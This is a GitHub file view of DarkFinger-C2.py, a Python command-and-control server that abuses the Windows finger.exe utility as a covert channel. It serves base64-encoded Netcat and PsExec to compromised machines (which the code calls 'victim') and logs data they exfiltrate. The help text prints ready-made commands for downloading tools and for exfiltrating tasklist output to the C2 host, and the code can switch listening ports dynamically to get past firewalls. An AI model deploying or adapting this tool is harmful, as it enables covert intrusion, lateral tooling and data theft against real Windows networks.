-
Notifications
You must be signed in to change notification settings - Fork 21
/
DarkFinger-C2.py
301 lines (266 loc) · 11.4 KB
/
DarkFinger-C2.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
#MIT License
#Copyright (c) 2020 John Page (aka hyp3rlinx)
#Permission is hereby granted, free of charge, to any person obtaining a copy
#of this software and associated documentation files (the "Software"), to deal
#in the Software without restriction, including without limitation the rights
#to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
#copies of the Software, and to permit persons to whom the Software is
#furnished to do so, subject to the following conditions:
#The above copyright notice and this permission notice shall be included in all
#copies or substantial portions of the Software.
#THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
#IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
#FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
#AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
#LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
#OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
#SOFTWARE.
#Permission is also explicitly given for insertion in vulnerability databases and similar,
#provided that due credit is given to the author Copyright (c) 2020 John Page (aka hyp3rlinx).
import socket,sys,re,time,os,argparse
from subprocess import *
from subprocess import Popen, PIPE, STDOUT
#DarkFinger / Windows Finger TCPIP Command C2 Server (c)
#Downloader and Covert Data Tunneler
#By John Page (aka hyp3rlinx)
#ApparitionSec
#twitter.com/hyp3rlinx
#
#File Downloads must be Base64 encoded text-files.
#Agents can change the port DarkFinger listens on dynamically:
#E.g. set to listen on port 80
#C:\>finger.exe !80!@DarkFinger-Server
#When not using Port 79, we need a Portproxy to send Port 79 traffic outbound to the specified Port.
#Also, when using Ports other than Port 79 (default) we issue queries first to the machine running the Agent E.g.
#C:\>finger.exe <Command>@<Local-Machines-IP>
#
#Agents can change the Download wait time, to try an ensure files are fully downloaded before closing connections.
#Default time sent by the DF-Agent.bat PoC script is set to 10 seconds when issuing Download commands.
#Changing wait time before closing the socket when downloading PsExec64.exe E.g.
#C:\>finger.exe ps%<Wait-Time-Secs>%@%<DarkFinger-Server>%
#==============================================================================================================
#
port = 79 #Default if the client unable to Portproxy, use port 80/443 if possible.
downloads_dir = "Darkfinger_Downloads" #Directory containing the Base64 encoded files for download
nc64 = downloads_dir+"\\nc.txt" #Base64 encoded Netcat
psexec = downloads_dir+"\\ps.txt" #Base64 encoded PsExec64
byte_sz = 4096 #Socket recv
allowed_ports = [22,43,53,79,80,443] #Restrict to a few.
BANNER="""
____ __ _______
/ __ \____ ______/ /__/ ____(_)___ ____ ____ _____
/ / / / __ `/ ___/ //_/ /_ / / __ \/ __ `/ _ \/ ___/
/ /_/ / /_/ / / / ,< / __/ / / / / / /_/ / __/ /
/_____/\__,_/_/ /_/|_/_/ /_/_/ /_/\__, /\___/_/
/____/ v1
Finger TCPIP Command C2 Server
By hyp3rlinx
ApparitionSec
"""
def remove_cert_info(f):
try:
r1 = open(f)
lines = r1.readlines()
lines = lines[1:]
r1.close()
w1 = open(f,'w')
w1.writelines(lines)
w1.close()
r2 = open(f)
lines2 = r2.readlines()
lines2 = lines2[:-1]
r2.close()
w2 = open(f,'w')
w2.writelines(lines2)
w2.close()
except Exception as e:
print(str(e))
exit()
def create_base64_files(file_conf):
global downloads_dir
if os.path.exists(file_conf):
if os.stat(file_conf).st_size == 0:
print("[!] Warn: Supplied conf file is empty, no downloads were specified!")
exit()
else:
print("[!] Supplied conf file does not exist :(")
exit()
try:
path=os.getcwd()
if not os.path.exists(path+"\\"+downloads_dir):
os.makedirs(downloads_dir)
f=open(file_conf, "r")
for x in f:
x = x.strip()
if os.path.exists(path+"\\"+x):
proc = Popen(["certutil.exe", "-encode", path+"\\"+x, path+"\\"+downloads_dir+"\\"+x[:2].lower()+".txt"],
stdout=PIPE, stderr=PIPE, shell=False)
out, err = proc.communicate()
if "ERROR_FILE_EXISTS" in str(out):
print("[!] Cannot encode " + x[:2]+".txt" + " as it already exists, delete it (-d flag) and try again :(")
exit()
time.sleep(0.5)
#Remove certificate info generated by Windows Certutil.
if os.path.exists(path+"\\"+downloads_dir+"\\"+x[:2].lower()+".txt"):
remove_cert_info(path+"\\"+downloads_dir+"\\"+x[:2].lower()+".txt")
print("[+] Created " + x + " Base64 encoded text-file "+x[:2].lower()+".txt" +" for download.")
else:
print("[!] Warn: File specified in the conf file to Base64 encode ("+x+") does not exist!")
exit()
f.close()
except Exception as e:
print(str(e))
def delete_base64_files():
global downloads_dir
path=os.getcwd()
if os.path.exists(path+"\\"+downloads_dir):
try:
filelist = [ f for f in os.listdir(path+"\\"+downloads_dir) if f.endswith(".txt") ]
for f in filelist:
os.remove(os.path.join(path+"\\"+downloads_dir, f))
except Exception as e:
print(str(e))
exit()
def B64Exec(t):
payload=""
try:
f=open(t, "r")
for x in f:
payload += x
f.close()
except Exception as e:
pass
print(str(e))
return 9
return payload
def finga_that_box(cmd, victim):
cmd = cmd.rstrip()
if cmd[:1] != ".":
cmd = cmd[0:2]
if cmd == "nc":
print("[+] Serving Nc64.exe")
sys.stdout.flush()
return nc64
if cmd == "ps":
print("[+] Serving PsExec64.exe")
sys.stdout.flush()
return psexec
if cmd[:1] == ".":
print("[+] Exfil from: "+ victim[0] + " " +cmd[1:])
sys.stdout.flush()
return False
def fileppe_fingaz():
global byte_sz, port, allowed_ports
delay=1
s = socket.socket()
host = ""
try:
if port in allowed_ports:
s.bind((host, port))
s.listen(5)
else:
print("[!] Port disallowed, you can add it to the 'allowed_ports' list.")
exit()
except Exception as e:
print(str(e))
exit()
print("[/] Listening port:", str(port))
sys.stdout.flush()
try:
while True:
conn, addr = s.accept()
a = conn.recv(byte_sz).decode() #Py 2
#Let agent change port dynamically
try:
if a[:1]=="!":
idx = a.rfind("!")
if idx != -1:
port = str(a[1:idx])
if int(port) in allowed_ports:
port = int(port)
time.sleep(1)
conn.close()
s.close()
fileppe_fingaz()
else:
print("[!] Disallowed port change request from: %s" % addr[0])
#Let agent set time to wait dynamically.
if a[:1] != "." and a[:1] != "!":
if re.search(r'\d\d', a[2:4]):
delay=int(a[2:4])
print("[-] Agent set the delay to: %d" % delay)
sys.stdout.flush()
except Exception as e:
print(str(e))
pass
t = finga_that_box(a, addr)
if t:
exe = B64Exec(t)
if exe == 9:
conn.close()
continue
if exe:
try:
conn.sendall(exe.encode())
time.sleep(delay)
conn.close()
delay=1
except Exception as e:
pass
#print(str(e))
sys.stdout.flush()
conn.close()
delay=1
s.close()
except Exception as e:
print(str(e))
pass
finally:
s.close()
fileppe_fingaz()
def about():
print("[+] Darkfinger is a basic C2 server that processes Windows TCPIP Finger Commands.")
print(" ")
print("[+] File download requests require the first two chars (lowercase) for the file we want,")
print("[+] plus the wait time, this trys to ensure a full transmit before close the connection.")
print("[+] Download Ncat64.exe and wait 30-secs before closing the socket:")
print("[+] finger.exe nc30@DarkFinger > tmp.txt")
print(" ")
print("[+] Exfil Windows Tasklist using the '.' character used as the DarkFinger exfil flag:")
print("[+] cmd /c for /f \"tokens=1\" %i in ('tasklist') do finger .%i@DarkFinger-Server")
print("[+]")
print("[+] If Port 79 is blocked, use Windows Netsh Portproxy to reach allowed internet Ports.")
print("[+] Dynamically change the port Darkfinger C2 listens on to port 80:")
print("[+] finger.exe !80!@DarkFinger-Server")
print(" ")
print("[+] DarkFinger-Agent.bat script is the client side component to demonstrate capabilities.")
print("[+] Note: This is just a basic PoC with no type of real security whatsoever.")
print("[+] Disclaimer: Author not responsible for any misuse and or damages by using this software.")
def main(args):
global port
print(BANNER)
if len(sys.argv)==1:
parser.print_help(sys.stderr)
sys.exit(1)
if args.about:
about()
exit()
if args.port:
port = int(args.port)
if args.conf and args.delete:
delete_base64_files()
if args.conf:
create_base64_files(args.conf)
else:
print("[!] Warn: No Base64 files created for download!, add required -c flag.")
exit()
fileppe_fingaz()
def parse_args():
parser.add_argument("-p", "--port", help="C2 Server Port", nargs="?")
parser.add_argument("-c", "--conf", help="Textfile of tools to Base64 encode for download.", nargs="?")
parser.add_argument("-d", "--delete", nargs="?", const="1", help="Delete previously created Base64 encoded files on startup, -c required.")
parser.add_argument("-a", "--about", nargs="?", const="1", help="Darkfinger information")
return parser.parse_args()
if __name__ == "__main__":
parser = argparse.ArgumentParser()
main(parse_args())